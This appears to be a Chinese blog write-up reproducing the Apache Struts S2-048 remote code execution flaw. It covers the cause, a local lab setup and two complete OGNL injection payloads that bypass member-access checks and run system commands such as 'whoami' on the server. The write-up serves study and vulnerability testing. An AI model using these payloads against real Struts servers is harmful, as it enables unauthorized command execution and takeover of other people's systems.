Struts-S2-048漏洞利用(含環(huán)境搭建、含POC)

S2-048漏洞復(fù)現(xiàn)

此文僅供大家交流學(xué)習(xí),嚴(yán)禁非法使用

一、參考網(wǎng)址:(視頻):

https://www.ichunqiu.com/course/58753

二、 影響版本:

Struts 2.3.x with Struts 1 plugin and Struts 1 action

三、 漏洞介紹:

Apache Struts 1插件的Apache Struts 2.3.X版本中存在遠(yuǎn)程代碼執(zhí)行漏洞,該漏洞出現(xiàn)于Struts2的某個類中,該類是為了將Struts1中的Action包裝成為Struts2中的Action,以保證Struts2的兼容性。在Struts2中的Struts1插件啟用的情況下,遠(yuǎn)程攻擊者可通過使用惡意字段值,構(gòu)造特定的輸入,發(fā)送到ActionMessage類中,從而導(dǎo)致任意命令執(zhí)行,進(jìn)而獲取目標(biāo)主機(jī)系統(tǒng)權(quán)限

產(chǎn)生原因:
這個漏洞主要問題出在struts2-struts1-plugin這個插件包上。這個庫的主要作用就是將struts1的action封裝成struts2的action以便它能在strut2上運(yùn)行使用。
而由于struts2-struts1-plugin 包中的 “Struts1Action.java” 中的 execute 函數(shù)可以調(diào)用 getText() 函數(shù),這個函數(shù)剛好又能執(zhí)行OGNL表達(dá)式,同時這個 getText() 的 參數(shù)輸入點(diǎn),又可以被用戶直接進(jìn)行控制,如果這個點(diǎn)被惡意攻擊者所控制,就可以構(gòu)造惡意執(zhí)行代碼,從而實(shí)現(xiàn)一個RCE攻擊。

四、 環(huán)境搭建:

下載地址:http://archive.apache.org/dist/struts/2.3.24/
百度云鏈接:鏈接:http://pan.baidu.com/s/1dFeUyNv 密碼:279t

  • 下載安裝xampp

  • 部署showcase

1.png
  • 解壓
2.png
  • 復(fù)制到
3.png

重啟tomcat


4.png
  • 已成功自動部署
5.png

五、 測試網(wǎng)址:

6.png

以第一個參數(shù)為攻擊點(diǎn),在其執(zhí)行OGNL語法,${10-7},

7.png

成功執(zhí)行

8.png
  • 抓包

注意端口不要重復(fù),即不要與以下重復(fù)

9_1.png

我這里用的是9090

9_2.png

抓包獲取


10.png

修改Conten-Type:為(粗體部分為命令)

六、 POC:

(鵬哥提供的)

${(#dm=@\u006Fgnl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess=#dm).(#ef='echo s2-048-EXISTS').(#iswin=(@\u006Aava.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#efe=(#iswin?{'cmd.exe','/c',#ef}:{'/bin/bash','-c',#ef})).(#p=new \u006Aava.lang.ProcessBuilder(#efe)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}", 'age':'bbb', '__checkbox_bustedBefore':'true', 'description':'ccc'

視頻里的payload為

%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}


11.png

七、執(zhí)行結(jié)果

12.png

八、 至此,該漏洞基本利用完畢

本人還是一個未畢業(yè)的小萌新,希望大家多多幫助,有問題請發(fā)送郵件到xrzsupupup@163.com不勝感激,我也會盡量去幫助大家

堅決做一名白帽子

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容